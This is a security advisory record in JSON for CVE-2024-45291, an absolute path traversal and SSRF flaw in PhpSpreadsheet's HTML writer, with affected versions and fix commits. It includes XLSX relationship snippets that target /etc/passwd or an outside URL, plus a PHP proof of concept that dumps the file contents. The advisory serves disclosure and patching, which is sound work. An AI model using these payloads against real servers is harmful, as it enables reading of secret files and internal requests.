{"id":"GHSA-w9xv-qf98-ccq4","summary":"PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled","details":"### Summary\n\nIt's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer-\u003esetEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.\n\n### Details\n\nXLSX files allow embedding or linking media. When \n\nIn `xl/drawings/drawing1.xml` an attacker can do e.g.:\n```xml\n\u003ca:blip cstate=\"print\" r:link=\"rId1\" /\u003e\n```\n\nAnd then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"/etc/passwd\" /\u003e\n```\nor\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"http://example.org\" /\u003e\n```\n\nWhen the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.\n\n```php\nif ($this-\u003eembedImages || str_starts_with($imageData, 'zip://')) {\n    $picture = @file_get_contents($filename);\n    if ($picture !== false) {\n        $imageDetails = getimagesize($filename) ?: ['mime' =\u003e ''];\n        // base64 encode the binary data\n        $base64 = base64_encode($picture);\n        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;\n    }\n}\n\n$html .= '\u003cimg style=\"position: absolute; z-index: 1; left: '\n    . $drawing-\u003egetOffsetX() . 'px; top: ' . $drawing-\u003egetOffsetY() . 'px; width: '\n    . $drawing-\u003egetWidth() . 'px; height: ' . $drawing-\u003egetHeight() . 'px;\" src=\"'\n    . $imageData . '\" alt=\"' . $filedesc . '\" /\u003e';\n```\n\n### PoC\n\n```php\n\u003c?php\n\nrequire 'vendor/autoload.php';\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n$writer-\u003esetEmbedImages(true);\n$output = $writer-\u003egenerateHTMLAll();\n\n// The below is just for demo purposes\n\n$pattern = '/data:;base64,(?\u003cdata\u003e[^\"]+)/i';\n\npreg_match_all($pattern, $output, $matches);\n\nprint(\"*** /etc/passwd content: ***\\n\");\nprint(base64_decode($matches['data'][0]));\n\nprint(\"*** HTTP response content: ***\\n\");\nprint(base64_decode($matches['data'][1]));\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)\n\nRun with:\n`php index.php`\n\n### Impact\n\nWhen embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.","aliases":["CVE-2024-45291"],"modified":"2026-01-30T01:39:53.222802Z","published":"2024-10-07T15:58:06Z","related":["CVE-2024-45290"],"database_specific":{"cwe_ids":["CWE-22","CWE-36","CWE-918"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2024-10-07T15:58:06Z","nvd_published_at":"2024-10-07T21:15:17Z"},"references":[{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45291"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"affected":[{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.3.0"}]}],"versions":["2.2.0","2.2.1","2.2.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-w9xv-qf98-ccq4/GHSA-w9xv-qf98-ccq4.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.2"}]}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.29.1","1.3.0","1.3.1","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-w9xv-qf98-ccq4/GHSA-w9xv-qf98-ccq4.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.1.1"}]}],"versions":["2.0.0","2.1.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-w9xv-qf98-ccq4/GHSA-w9xv-qf98-ccq4.json"}},{"package":{"name":"phpoffice/phpexcel","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpexcel"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.8.2"}]}],"versions":["1.7.9","1.7.9-rc1","1.8.0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.1","1.8.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-w9xv-qf98-ccq4/GHSA-w9xv-qf98-ccq4.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}